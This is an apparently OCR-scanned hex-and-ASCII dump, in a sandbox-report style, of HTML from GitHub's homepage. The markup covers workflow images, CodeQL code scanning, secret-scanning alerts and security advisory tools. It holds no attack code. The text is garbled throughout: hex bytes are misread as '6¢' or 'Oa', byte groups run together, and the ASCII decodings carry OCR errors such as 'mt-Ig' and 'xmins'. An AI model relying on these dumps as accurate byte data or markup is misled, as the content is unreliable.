6¢ 69 20 63 6¢ 61 73 73 3d 22 6d 72 2d 31 20 70 78 2d 31 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f
67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63

Data Ascii: loading="lazy"></li> <li class="mr-1 px-1"><img src="https://github.githubassets.com/images/modu
les/site/home/logos/platform-apple.svg" alt="macOS" loading="lazy"></li> <li class="mr-1 px-1"><img src="http
s:/lgithub.githubassets.c

Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 67 69
746875 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6C 65 73 2f 73 69 74
65 2f 68 6f 6d 65 2f 6d 61 74 72 69 78 2d 77 6f 72 6b 66 6¢ 6f 77 2d 62 75 69 6¢ 64 2e 77 65 62 70 22 20 74 79 70 65 3d
2269 6d 61 67 65 2f 77 65 62 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d
67 2073 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69
6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 6d 61 74 72 69 78 2d 77 6f 72 6b 66 6¢C 6f 77 2d 62
7569 6¢ 64 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 77 69

Data Ascii: <source srcset="https://github.githubassets.com/images/modules/site/home/matrix-workflow-build.web

p" type="image/webp"> <img src="https://github.githubassets.com/images/modules/site/home/matrix-wor
kflow-build.png" class="wi
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Data

Data Raw: 67 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 20 68 6f 6d 65 2d 6d
6174 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 2d 72 69 67 68 74 22 3e 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d
65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 62 67 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a Oa 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 3¢ 73 6f 75 72 63 65 20 73 72 63 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62
2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61

Data Ascii: g"></div></div> <div class="home-matrix-connector home-matrix-connector--right"><div clas
s="home-matrix-connector-bg"></div></div> <picture> <source srcset="https://github.githuba
ssets.com/ima

Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 6d
617472 69 78 2d 74 61 62 20 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 74 6f 70 2d 30 20 6f 76 65 72 66 6C
6f 77 2d 68 69 64 64 65 6e 20 77 69 64 74 68 2d 66 75 6C 6¢ 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6
469 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 22 3e 3c 64 69 76 20 63
6¢ 61 73 73 3d 22 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 63 6f 6e 6e 65 63 74 6f 72 2d 62 67 22 3e 3c 2f 64 69 76 3e 3c 2f
64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Data Ascii: <div class="home-matrix-tab position-absolute top-0 overflow-hidden width-full"></div>

</div> <div class="home-matrix-connector"><div class="home-matrix-connector-bg"></div></div>

Data Raw: 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 6d 61 74 72 69 78 2d 77 6f 72 6b 66 6¢ 6 77 2d
7375636365 7373 2e 7376 67 22 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 6d 61 74 72 69 78 2d 73 75 63 63 65 73 73
2d 32 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 20 61 6¢ 74 3d 22 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20 20 20 20 20 3¢ 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69
74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f
6d 61 74 72 69 78 2d 77 6f 72 6b 66 6c 6f 77 2d 73 75 63 63 65 73 73 2e 73 76 67 22 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65
2d 6d 61 74 72 69 78 2d 73 75 63 63 65 73 73 2d 33 22 20 6¢ 6f
Data Ascii: es/modules/site/home/matrix-workflow-success.svg" class="home-matrix-success-2" loading="lazy" alt="">
<img src="https://github.githubassets.com/images/modules/site/home/matrix-workflow-success.svg" class="home-
matrix-success-3" lo

Data Raw: 6e 20 66 6c 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6d 74 2d 35 20 6d 74 2d 6¢ 67 2d 30 22 3e Oa
202020 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 6e 6f 6e 65 20 64 2d 73 6d 2d 62 6¢ 6f 63 6b
20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61 75 6¢ 74 20 63 69 72 63 6¢ 65 20 7
0 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 6d 74 2d 6¢ 67 2d 6e 37 20 6d 78 2d 61 75 74 6f 20 6a 73 2d 62 75
69 6¢ 64 2d 69 6e 22 20 73 74 79 6¢ 65 3d 22 77 69 64 74 68 3a 20 31 36 34 70 78 3b 20 68 65 69 67 68 74 3a 20 31 36
3470 78 3b 22 20 64 61 74 61 2d 62 75 69 6¢ 64 2d 6d 61 72 67 69 6e 2d 74 6f 70 3d 22 30 22 20 64 61 74 61 2d 62 75
69 6¢ 64 2d 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3d 22 30 22 3e Oa 20

Data Ascii: n flex-items-center mt-5 mt-lg-0"> <div class="d-none d-sm-block flex-shrink-0 color-bg-default circle
position-relative mt-Ig-n7 mx-auto js-build-in" style="width: 164pXx; height: 164px;" data-build-margin-top="0" data-build-
margin-bottom="0">

Data Raw: 70 62 2d 6d 64 2d 39 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32 20 63
6f 6¢ 2d 6¢ 67 2d 35 20 6d 62 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6d 62 2d 35
20 6d 62 2d 6d 64 2d 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 68 33 20 63 6¢ 61 73 73 3d 22 6a 73 2d 62 75 69 6¢
64 2d 69 6e 2d 69 74 65 6d 20 62 75 69 6¢ 64 2d 69 6e 2d 73 6¢ 69 64 65 58 2d 6¢ 65 66 74 20 66 32 2d 6d 6b 74 67 20
746578 742d 67 72 61 79 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 6d 62 2d 34 20 63 6f 6¢ 2d 35
2d 6d 61 78 22 3e 53 70 65 61 6b 69 6e 67 20 6f 66 20 61 75 74 6f 6d 61 74 69 6f 6€ 2c 20 3¢ 73 70 61 6e 20 63 6¢ 61 73
733d22746578742d 67 726179 2d 64 61 72 6b 2d 6d 6b 74 67 22

Data Ascii: pp-md-9">  <div class="col-12 col-lg-5 mb-4"> <div class="mb-5 mb-md-6"> <h3 class="js-build-
in-item build-in-slideX-left f2-mktg text-gray-mktg text-semibold mb-4 col-5-max">Speaking of automation, <span cla
ss="text-gray-dark-mktg"

Data Raw: 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 4c 31 30 2e 34 36 39 37 20 38 2e 35 33 30 33 33 4¢ 31 31 2e 35
333033 20 37 2e 34 36 39 36 37 4c 37 2e 32 38 30 33 33 20 33 2e 32 31 39 36 37 4c 36 2e 32 31 39 36 37 20 34 2e 32
38 30 33 33 5a 4d 31 30 2e 34 36 39 37 20 37 2e 34 36 39 36 37 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 4c 37
2e 32 38 3033 33 20 31 32 2e 37 38 30 33 4c 31 31 2e 35 33 30 33 20 38 2e 35 33 30 33 33 4c 31 30 2e 34 36 39 37 20
37 2e 34 36 39 36 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6¢ 61 73 73 3d 22 6f 63 74 69 63 6f 6 2d 63 68
65 76 72 6f 77 2d 73 74 65 6d 22 20 73 74 72 6f 6b 65 3d 22 63 75 72 72 65 6e 74 43 6f 6¢ 6f 72 22 20 64 3d 22 4d 31 2e
37 3520 38 48 31 31 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22

Data Ascii: .21967 4.28033L.10.4697 8.53033L.11.5303 7.46967L7.28033 3.21967L6.21967 4.28033ZM10.4697
7.4696716.21967 11.7197L.7.28033 12.7803L11.5303 8.53033L10.4697 7.46967Z"></path><path class="octicon-
chevrow-stem"” stroke="currentColor" d="M1.75 8H11" stroke-width="

Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 20
2020 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a Oa 20 20 3c 2f 64 69 76 3e Oa 3c 2f 64 69 76 3e Oa
0a 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 70 6f 73 69 74 69 6f 6€ 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 20
6d 78 2d 61 75 74 6f 20 62 6f 78 2d 73 68 61 64 6f 77 2d 64 65 66 61 75 6¢ 74 2d 6d 6b 74 67 20 77 69 64 65 2d 62 6C 6f
63 6b 20 6f 76 65 72 66 6¢ 6f 77 2d 68 69 64 64 65 6e 20 6a 73 2d 73 65 63 74 69 6f 6e 22 20 73 74 79 6¢ 65 3d 22 70 61
64 64 69 6e 67 2d 74 6f 70 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 22 20 69 64 3d 22 68 6f 6d 65 2d 73 65 63 75 72
65 22 20 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 64 61

Data Ascii: > </div> </div>  </div> </div> </div></div> <div class="position-relative z-1 mx-auto box-s
hadow-default-mktg wide-block overflow-hidden js-section" style="padding-top: 0 !limportant" id="home-secure" data-color-
mode=da

Data Raw: 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 6¢ 6 67 2d 64 61 72 6b 20 63 6f 6¢ 2d 31 31 20 6f 66 66
736574 2d 31 20 70 62 2d 35 20 70 62 2d 6d 64 2d 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63
6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32 20 63 6f 6¢ 2d 6d 64 2d 31 30 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20
3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6d 62 2d 35 20 6d 62 2d 6d 64 2d 36 20 6d 74 2d 6e 33 22 3e 0a 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78 20 66 6¢ 65 78 2d 69 74 65 6d 73
2d 63 65 6e 74 65 72 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e Oa 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68

Data Ascii: class="home-git-log-dark col-11 offset-1 pb-5 pb-md-6"> <div class="col-12 col-md-10"> <div
class="mb-5 mb-md-6 mt-n3"> <div class="d-flex flex-items-center position-relative z-1"> <svg
xmins="h
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Data

Data Raw: 38 20 36 2e 32 31 39 36 37 20 33 2e 32 31 39 36 37 43 35 2e 39 32 36 37 38 20 33 2e 35 31 32 35 36 20 35
2e 39 32 36 37 38 20 33 2e 39 38 37 34 34 20 36 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 4c 37 2e 32 38 30 33 33 20
33 2e 32 31 39 36 37 5a 4d 31 31 20 38 4c 31 31 2e 35 33 30 33 20 38 2e 35 33 30 33 33 43 31 31 2e 38 32 33 32 20 38
2e 32 33 37 34 34 20 31 31 2e 38 32 33 32 20 37 2e 37 36 32 35 36 20 31 31 2e 35 33 30 33 20 37 2e 34 36 39 36 37 4c
31 31 20 38 5a 4d 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 43 35 2e 39 32 36 37 38 20 31 32 2e 30 31 32 36 20 35
2e 39 32 36 37 38 20 31 32 2e 34 38 37 34 20 36 2e 32 31 39 36 37 20 31 32 2e 37 38 30 33 43 36 2e 35 31 32 35 36 20
31 33 2e 30 37 33 32 20 36 2e 39 38 37 34 34 20 31 33 2e 30 37 33 32 20 37

Data Ascii: 8 6.21967 3.21967C5.92678 3.51256 5.92678 3.98744 6.21967 4.28033L7.28033 3.21967ZM11 8L.11.5303 8.
53033C11.8232 8.23744 11.8232 7.76256 11.5303 7.46967L11 8ZM6.21967 11.7197C5.92678 12.0126 5.92678 12.4874
6.21967 12.7803C6.51256 13.0732 6.98744 13.0732 7

Data Raw: 65 58 2d 6¢ 65 66 74 20 66 32 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6¢ 69 67 68 74 2d 6d 6b 74
67 2020 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 6d 62 2d 35 20 6d 62 2d 6¢ 67 2d 30 20 63 6f 6¢ 2d 35 2d 6d 61 78
22 3e 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66 61 75 6C 74 22 3e 53 65 63 75 72 65 2
079 6f 75 72 20 63 6f 64 65 20 61 73 20 79 6f 75 20 77 72 69 74 65 20 69 74 2e 3c 2f 73 70 61 6e 3e 20 43 6f 64 65 51 4
ce28099 73 20 63 6f 64 65 20 73 63 61 6e 6e 69 6e 67 20 61 75 74 6f 6d 61 74 69 63 61 6C 6C 79 20 72 65 76 69 65 77
732065 76 65 72 79 20 63 68 61 6e 67 65 20 74 6f 20 79 6f 75 72 20 63 6f 64 65 62 61 73 65 20 61 6e 64 20 69 64 65
6e 74 69 66 69 65 73 20 6b 6e 6f 77 6e 20 76 75 6¢ 6e 65 72 61 62 69

Data Ascii: eX-left f2-mktg text-gray-light-mktg text-semibold mb-5 mb-Ig-0 col-5-max"><span class="color-fg-default">S
ecure your code as you write it.</span> CodeQLs code scanning automatically reviews every change to your codebase
and identifies known vulnerabi

Data Raw: 68 6f 6d 65 2f 63 6f 64 65 71 6¢ 2d 73 74 65 70 2d 32 2e 70 6e 67 22 20 61 6¢ 74 3d 22 53 74 65 70 20 32 22
2063 6¢ 61 73 73 3d 22 77 69 64 74 68 2d 66 75 6¢ 6¢ 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e Oa 20 20 20
202020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 63 6f 64 65 71 6¢ 2d 73 74 65 70 2d 31 20 72 6f 75 6e
64 65 64 2d 32 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e 0a 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 69 63 74 75 72 65

Data Ascii: home/codeql-step-2.png" alt="Step 2" class="width-full" loading="lazy"> </picture>

</div> <div class="home-codeq|l-step-1 rounded-2 position-relative z-1"> <picture

Data Raw: 68 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 6d 72 2d 33 20 70 6f 73
69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e 3c 70 61 74 68 20 64 3d 22 6d 30 20 30 68 32 38 76 32 39
68 2d 32 38 7a 22 20 66 69 6¢ 6¢ 3d 22 23 30 34 31 30 32 37 22 3e 3c 2f 70 61 74 68 3e 3¢ 67 20 66 69 6¢ 6¢ 3d 22 23
66 66 64 33 33 64 22 3e 3c 70 61 74 68 20 64 3d 22 6d 31 35 20 31 39 2e 35 61 31 20 31 20 30 20 31 20 31 20 2d 32 20
3020 31 20 31 20 30 20 30 20 31 20 32 20 30 7a 6d 2d 2e 32 35 2d 38 2e 32 35 61 2e 37 35 2e 37 35 20 30 20 30 20 30
20 2d 31 2e 3520 30 76 34 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 20 30 20 31 2e 35 20 30 7a 22 3e 3c 2f 70 61 74 68
3e 3c 70 61 74 68 20 63 6¢ 69 70 2d 72 75 6¢ 65 3d 22 65 76 65 6e 6f 64

Data Ascii: home-git-item flex-shrink-0 mr-3 position-relative z-1"><path d="m0 0h28v29h-28z" fill="#041027"></path><g f
ill="#ffd33d"><path d="m1519.5a11011-201100 1 2 0zm-.25-8.25a.75.750 0 0 -1.5 0v4.5a.75.75 0 0 0 1.5 0z">
</path><path clip-rule="evenod

Data Raw: 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 0Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e
20 63 6¢ 61 73 73 3d 22 6f 70 61 63 69 74 79 2d 34 20 74 65 78 74 2d 74 72 75 6e 63 61 74 65 22 3e 46 69 78 65 64 20
64 65 73 65 72 69 61 6¢ 69 7a 65 64 20 64 61 74 61 20 73 65 63 75 72 69 74 79 20 76 75 6¢C 6€ 65 72 61 62 69 6C 69 74
79 3¢ 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6¢ 69 3e Oa Oa 20 20 20 20 20 20 20 20 20
20 20 20 20 20 3c 6¢ 69 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 31 20 63 6f 6¢ 2d 73 6d 2d 31 30 20 63 6f 6¢ 2d 6C 67 2d
31 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3¢ 64 69 76 20 63 6¢ 61 73 73 3d 22 6a 73 2d 62 75 69
6c 64 2d 69 6e 2d 74 72 69 67 67 65 72 20 64 2d 66 6¢ 65 78 20 66 6C 65

Data Ascii: ading="lazy"> <span class="opacity-4 text-truncate">Fixed deserialized data security vulnerab
ility</span> </li> <li class="col-11 col-sm-10 col-lg-12"> <div class="js-build-in-trigger d-flex fle

Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d
2268747470 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f
6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 73 65 63 72 65 74 2d 61 6¢ 65 72 74 2e 70 6€ 67 22 20 63 6¢ 61 73
733d22 77 69 64 74 68 2d 66 75 6¢ 6¢ 20 72 6f 75 6 64 65 64 2d 32 20 68 6f 6d 65 2d 73 65 63 72 65 74 2d 61 6C 65
7274 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 20 61 6¢ 74 3d 22 41 6e 20 61 6¢ 65 72 74 2
0 6f 66 20 66 6f 75 6e 64 20 73 65 63 72 65 74 20 63 6f 6d 6d 69 74 74 65 64 20 74 6f 20 74 68 65 20 72 65 70 6f 73 69 7
4 6f 72 79 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e Oa

Data Ascii: > <img src="https://github.githubassets.com/images/modules/site/home/secret-alert.png"
class="width-full rounded-2 home-secret-alert position-relative z-1" alt="An alert of found secret committed to the re
pository" loading="lazy">

Data Raw: 2d 32 2e 31 36 34 20 33 2e 37 35 32 68 2d 31 37 2e 39 33 33 63 2d 31 2e 39 32 35 20 30 2d 33 2e 31 32 38
2d 32 2e 30 38 35 2d 32 2e 31 36 34 2d 33 2e 37 35 32 7a 6d 33 2e 30 33 2e 37 35 31 61 31 20 31 20 30 20 30 20 30 20
2d 31 2e 37 33 31 20 30 6¢ 2d 38 2e 39 36 37 20 31 35 2e 35 30 34 61 31 20 31 20 30 20 30 20 30 20 2e 38 36 36 20 31
2e 3530 31 68 31 37 2e 39 33 33 61 31 20 31 20 30 20 30 20 30 20 2e 38 36 35 2d 31 2e 35 6¢ 2d 38 2e 39 36 36 2d 31
35 2e 35 30 36 7a 22 20 66 69 6¢ 6¢ 2d 72 75 6¢ 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 2f 70 61 74 68 3e 3c 2f 67 3e 3¢
2f 73 76 67 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 74 65 78
742d 74 72 75 6e 63 61 74 65 20 63 6f 6¢ 6f 72 2d 66 67 2d 61 74 74 65

Data Ascii: -2.164 3.752h-17.933¢-1.925 0-3.128-2.085-2.164-3.752zm3.03.751a1 1 0 0 0 -1.731 01-8.967 15.504a1 1 0 O
0.866 1.501h17.933al1 1 0 0 0 .865-1.5I-8.966-15.506z" fill-rule="evenodd"></path></g></svg> <span class="te
xt-truncate color-fg-atte

Data Raw: 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 6e 6f 6e 65 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30
20313130 203134322220617269 61 2d 6869 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d 22 64 2d 6e
6f 6e 65 20 64 2d 6d 64 2d 62 6¢ 6f 63 6b 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 68 6f 6d 65 2d 62 72
61 6e 63 68 20 6f 66 66 73 65 74 2d 6e 31 22 20 73 74 79 6¢ 65 3d 22 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6¢ 65
58 28 2d 31 29 3b 22 3e 3c 70 61 74 68 20 64 3d 22 6d 31 2d 38 63 30 20 37 35 20 31 30 38 20 37 35 20 31 30 38 20 31
353022207374 72 6f6b 65 2d 77 69 64 74 68 3d 22 32 22 20 76 65 63 74 6f 72 2d 65 66 66 65 63 74 3d 22 6e 6f 6e
2d 73 63 61 6¢ 69 6e 67 2d 73 74 72 6f 6b 65 22 3e 3¢ 2f 70 61 74 68

Data Ascii: serveAspectRatio="none" viewBox="0 0 110 142" aria-hidden="true" class="d-none d-md-block position-
relative home-branch offset-n1" style="transform: scaleX(-1);"><path d="m1-8c0 75 108 75 108 150" stroke-width="2" vect
or-effect="non-scaling-stroke"></path
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Data

Data Raw: 62 2d 6d 64 2d 6e 31 31 20 63 6f 6¢ 2d 35 2d 6d 61 78 22 3e 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢
6f 72 2d 66 67 2d 64 65 66 61 75 6¢ 74 22 3e 46 6f 75 6e 64 20 61 20 76 75 6¢ 6e 65 72 61 62 69 6¢ 69 74 79 3f 3c 2f 73
7061 6e 3e 20 4f 75 72 20 73 65 63 75 72 69 74 79 20 61 64 76 69 73 6f 72 79 20 72 65 6d 65 64 69 61 74 69 6f 6 20
74 6f 6f 6c 73 20 68 65 6¢ 70 20 64 65 76 65 6¢C 6f 70 65 72 73 20 69 64 65 6€ 74 69 66 79 20 61 6€ 64 20 64 69 73 63 6¢C
6f 73 65 20 74 68 65 6d 20 72 65 73 70 6f 6 73 69 62 6¢ 79 20 73 6f 20 6d 61 69 6€ 74 61 69 6e 65 72 73 20 63 61 6e
2070 61 74 63 68 20 74 68 65 6d 20 69 6e 20 64 65 64 69 63 61 74 65 64 2¢ 20 70 72 69 76 61 74 65 20 77 6f 72 6b 73
70 61 63 65 73 2e 3c 2f 68 33 3e 0a 20 20 20 20 20 20 20 20 20 20

Data Ascii: b-md-n11 col-5-max"><span class="color-fg-default">Found a vulnerability?</span> Our security advisory
remediation tools help developers identify and disclose them responsibly so maintainers can patch them in dedicated,
private workspaces.</h3>

Data Raw: 61 73 73 3d 22 63 6f 6¢ 2d 31 31 20 63 6f 6¢ 2d 73 6d 2d 31 30 20 63 6f 6¢ 2d 6¢ 67 2d 31 32 22 3e Oa 20 20
2020 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6¢ 61 73 73 3d
22 6a73 2d 62 75 69 6¢ 64 2d 69 6e 2d 74 72 69 67 67 65 72 20 64 2d 66 6¢ 65 78 20 66 6¢C 65 78 2d 63 6f 6C 75 6d 6€
20 66 6¢ 65 78 2d 6¢ 67 2d 72 6f 77 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 7574 74 65 72 20 67 7
574746572 2d 7370616369 6f 75 73 20 70 62 2d 39 20 70 62 2d 6d 64 2d 31 30 20 6d 74 2d 36 20 6d 74 2d 6¢ 67
2d 6e 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31
32 20 63 6f 6¢ 2d 6¢ 67 2d 35 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20

Data Ascii: ass="col-11 col-sm-10 col-lg-12"> <div class="js-build-in-trigger d-flex flex-column flex-Ig-

row flex-items-center gutter gutter-spacious pb-9 pb-md-10 mt-6 mt-lg-n6"> <div class="col-12 col-lg-5">

Data Raw: 20 30 2d 2e 33 38 39 37 2d 2e 30 37 39 30 32 2d 2e 35 33 30 33 2d 2e 32 31 39 36 37 2d 2e 31 34 30 37 2d
2e 3134 30 36 35 2d 2e 32 31 39 37 2d 2e 33 33 31 34 32 2d 2e 32 31 39 37 2d 2e 35 33 30 33 33 73 2e 30 37 39 2d 2e
3338 39 36 38 2e 32 31 39 37 2d 2e 35 33 30 33 33 63 2e 31 34 30 36 2d 2e 31 34 30 36 35 2e 33 33 31 34 2d 2e 32 31
39 36 37 2e 35 33 30 33 2d 2e 32 31 39 36 37 68 2e 35 63 2e 39 36 36 20 30 20 31 2e 37 35 2e 37 38 34 20 31 2e 37 35
20 31 2e 37 35 76 35 2e 35 63 30 20 2e 34 36 34 31 2d 2e 31 38 34 34 2e 39 30 39 32 2d 2e 35 31 32 36 20 31 2e 32 33
37 34 73 2d 2e 37 37 33 33 2e 35 31 32 36 2d 31 2e 32 33 37 34 2e 35 31 32 36 68 2d 2e 32 35 76 31 2e 35 34 33 63 2d
2e 30 30 30 31 2e 32 38 38 31 2d 2e 30 38 35 36 2e 35 36 39 37 2d 2e 32 34

Data Ascii: 0-.3897-.07902-.5303-.21967-.1407-.14065-.2197-.33142-.2197-.53033s.079-.38968.2197-.53033c.1406-
.14065.3314-.21967.5303-.21967h.5¢.966 0 1.75.784 1.75 1.75v5.5¢c0 .4641-.1844.9092-.5126 1.2374s-.7733.5126-1.
2374.5126h-.25v1.543¢c-.0001.2881-.0856.5697-.24

Data Raw: 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61
67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 4c 65 61 72 6e 20 68 6 77 20 74 6f 20 67 65 74 20 73 74 61 72 74 65 64 20 77 69
74 6820 44 69 73 63 75 73 73 69 6f 6e 73 3b 72 65 66 5f 6¢ 6f 63 3a 63 6f 6d 6d 75 6e 69 74 79 20 6¢ 61 75 6e 63 68 70
61 64 26 71 75 6f 74 3b 7d 22 3e 0a 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 67 65 74 20 73 74 61 72 74 65 64 20
